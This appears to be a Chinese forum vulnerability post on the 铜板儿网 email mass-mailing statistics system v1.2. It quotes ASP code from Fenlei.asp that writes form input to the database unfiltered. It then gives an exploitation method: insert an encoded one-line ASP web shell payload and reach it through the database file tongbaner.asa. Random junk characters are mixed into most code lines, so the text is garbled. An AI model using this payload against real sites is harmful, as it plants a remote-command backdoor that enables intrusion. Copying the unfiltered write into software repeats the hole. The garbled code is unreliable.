铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
1 W2 D. w* `# R8 F$ Y; f
IF Request.QueryString("Action")="del" Then
+ |' Y, o" X: d* c. p- S' I$ FID=Request.QueryString("ID")
3 E9 m! y! C% U$ uIF Countss ("tui","Fenlei",ID )<>0 then
" l2 L4 C2 f9 ^3 N: y9 T) w3 Y'略
: o/ ?2 H! k. o$ Y6 R* @3 HIF Request.QueryString("Action")="Add" Then
& M! h" M/ B3 \Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
, X& P7 l% W5 [- C) |$ B, h2 r  JSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
+ Y6 A# a" R) U0 z0 x6 YRs.Addnew
Rs("Typename")=Tname
'略
) d! G4 R) ]1 K# k6 t& x7 H0 TSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
5 ~3 |* G: o. A%>


) J9 F; h. L; M/ P) n1 V4 Q
没有过滤，直接写入数据库。
2 q) ^) o2 n  x, I& t
利用方法：
, G5 E: V7 S$ W5 j& P
插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
9 F: O5 G0 A$ o% d* R7 t6 k8 F* P$ l'install.asp
7 J5 m& |. r, h! C0 Q* X0 x5 l/ \